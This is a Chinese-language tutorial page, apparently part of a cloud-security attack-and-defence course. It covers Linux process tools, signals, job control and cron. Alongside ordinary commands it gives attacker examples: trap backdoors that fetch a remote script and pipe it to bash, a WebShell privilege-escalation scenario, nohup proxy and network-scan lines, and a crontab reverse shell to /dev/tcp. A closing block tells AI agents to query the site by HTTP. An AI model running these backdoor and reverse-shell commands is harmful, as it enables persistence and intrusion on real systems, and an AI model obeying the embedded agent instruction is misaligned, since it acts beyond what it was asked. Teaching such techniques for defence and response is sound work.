# 进程和计划任务

进程和计划任务在实战场景中会利用到，例如在提权方面、应急响应。在攻击与防守都需要了解进程和计划任务。例如在无内核漏洞时，利用系统自带高权限目录、高权限进程来提权，利用管理员计划任务中的Bash脚本提权；

#### 进程

进程是一种抽象的概念，从来没有统一标准定义，进程由，程序、数据集合、进程控制分三部分组成。

* &#x20;程序用于描述进程要完成的功能，是控制进程执行的指令集；
* &#x20;数据库集合是程序在执行时所需要的数据和工作区；
* &#x20;程序控制块（PCB），包含进程的描述信息和控制信息，是进程存在唯一标志
* &#x20;进程的特征：
* &#x20;动态性：进程是程序的一次执行过程，临时的、有生命期、动态产生、动态消亡
* &#x20;并发生：任何进程都可以和其他进程一起并发执行
* &#x20;独立性：是由系统进行资源分配和高度的一个独立单位
* &#x20;结构性：程序、数据、进程控制块三部分组成

#### 进程管理和性能相关工具

<figure><img src="/files/mswy2E63SIkoEFNBLaw6" alt=""><figcaption></figcaption></figure>

**pstree**

```bash
yum install psmisc -y
-p 显示PID
-T 不显示线程thread,默认显示线程
-u 显示用户切换
-H pid 高亮显示指定进程及其前辈进程

#常用选项
pstree -uT
pstree -pT
```

**进程信息ps**

默认显示当前终端信息，Linux进程信息保存在/proc/PID目录下各文件中

* &#x20;a：显示一个终端的所有进程；
* &#x20;u：显示进程的归属用户及内存的使用情况；
* &#x20;x：显示没有控制终端的进程；
* &#x20;-l：长格式显示更加详细的信息；
* &#x20;-e：显示所有进程；

```bash
#显示进程详细命令
ps axo pid,cmd
 
#常用组合
ps aux
ps -ef
ps -efH
 
#查看进程父子关系
ps auxf
 
#只显示指定用户名、ID进程
ps -fU apache|ID
```

场景：在某个省级演练中，在内网针对靶标发起攻击，通过爆破获得一个普通权限，查看进程发现有tomcat进程，将WebShell写入到tomcat目录下，访问JSP就是root权限。

**进程实时状态top**

```bash
top
 
uptime信息：l
tasks及cpu信息：t
memory信息：m
 
#htop是top增强版
htop
```

**查看进程打开文件**

lsof 命令，“list opened files”的缩写，直译过来，就是列举系统中已经被打开的文件。

通过 lsof 命令，我们就可以根据文件找到对应的进程信息，也可以根据进程信息找到进程打开的文件。

```bash
lsof -o PID #查看进程打开的文件
lsof -c httpd #查看指定程序打开的文件
lsof -i -n #查看网络连接
lsof -i -n -a -p PID #查看指定进程打开的网络连接
lsof -n -P -i TCP -s TCP:ESTABLISHED #查看指定状态的网络连接
```

**结束进程**

kill 命令只是用来向进程发送一个信号，至于这个信号是什么，是用户指定的。

kill 命令的执行原理是这样的，kill 命令会向操作系统内核发送一个信号（终止信号）和目标进程的 PID，然后系统内核根据收到的信号类型，对指定进程进行相应的操作。

| 信号编号 | 信号名  | 含义                                                  |
| ---- | ---- | --------------------------------------------------- |
| 0    | EXIT | 程序退出时收到该信息。                                         |
| 1    | HUP  | 挂掉电话线或终端连接的挂起信号，这个信号也会造成某些进程在没有终止的情况下重新初始化。         |
| 2    | INT  | 表示结束进程，但并不是强制性的，常用的 "Ctrl+C" 组合键发出就是一个 kill -2 的信号。 |
| 3    | QUIT | 退出。                                                 |
| 9    | KILL | 杀死进程，即强制结束进程。                                       |
| 11   | SEGV | 段错误。                                                |
| 15   | TERM | 正常结束进程，是 kill 命令的默认信号。                              |
|      |      |                                                     |

```bash
#显示当前系统可用信号
kill -l
trap -l
 
#强制结束进程
kill -9 pid
 
#结束进程名，而非通过PID
killall
```

**信号发送**

结束进程是通过发送信号，由内核来帮我们操作，像信号9用于结束进程

常用信号：

| SIGHUP  | 挂起进程            | 1  |
| ------- | --------------- | -- |
| SIGINT  | 终止进程；Ctrl+c     | 2  |
| SIGQUIT | 停止进程            | 3  |
| SIGKILL | 强制杀死            | 9  |
| SIGTERM | 尽可能终止           | 15 |
| SIGSTOP | 无条件停止进程，但不是终止进程 | 19 |
| SIGCONT | 继续运行            | 18 |

ATT\&CK T1154

trap命令用于指定在接收到信号后将要采取的动作，常见的用途是在脚本程序被中断时完成清理工作。

当shell接收到sigspec指定的信号时，arg参数（命令）将会被读取，并被执行。例如：

可以用于来做后门：

{% code overflow="wrap" %}

```bash
trap 'nohup curl -sS
https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1546.005/src/echo-art-fish.sh | bash' SIGINT
```

{% endcode %}

当管理员按CTRL + C都会被执行

如果Bash shell收到了SIGHUP信号，当你要离开一个交互式shell，它就会退出，但是在退出之前，它会将SIGHUP信号传给所有由该shell所启动的进程。

退出终端将会下载执行脚本：

{% code overflow="wrap" %}

```bash
trap 'nohup curl -sS
https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1546.005/src/echo-art-fish.sh | bash' EXIT
```

{% endcode %}

#### 进程后台管理

让程序运行于后台

* Ctrl + Z
* &#x20;COMMAND &

后台运行剥离与终端关系

```bash
nohup COMMAND &>/dev/null &
screen; COMMAND
tmux; COMMAND
 
#查看当前作业
jobs
 
#作业控制
fg #后台作业调回前台
bg #后台继续运行
kill #终止
```

场景：在WebShell如何进行FRP代理？ 持久化的执行我们的扫描任务？

```bash
nohup /tmp/amd64c -a 1.1.1.1 -p 4436 -t pass -r 5672 &
 
nohup /tmp/fscan -h 192.168.0.0/16 -nopoc &
```

#### 计划任务

挖矿等木马，常常会把执行脚本文件写入到计划任务中；

提权场景。

**cron**

* &#x20;/etc/crontab    主配置文件
* &#x20;/etc/cron.d/    子配置文件
* &#x20;/var/spool/cron/USER    用户文件

```bash
分     时     日     月     周
```

* &#x20;-e 编辑某个用户的 crontab 文件内容。如果不指定用户，则表示编辑当前用户的 crontab 文件
* &#x20;-l 显示某用户的 crontab 文件内容，如果不指定用户，则表示显示当前用户的 crontab 文件内容。

```bash
#每天凌晨1点20分清除/var/log/slow.log这个文件
20 1 * * * echo "" >   /var/log/slow.log
 
#11月每天的6-12点之间每隔2小时执行/app/bin/test.sh
0 6-12/2 * 11 * /app/bin/test.sh
 
#反弹Shell
echo '*/1 * * * * root bash -i >& /dev/tcp/192.168.26.129/5555 0>&1' >/etc/crontab
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-san-zhang-linux-gong-fang-kuai-su-ru-men-xia/jin-cheng-he-ji-hua-ren-wu.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
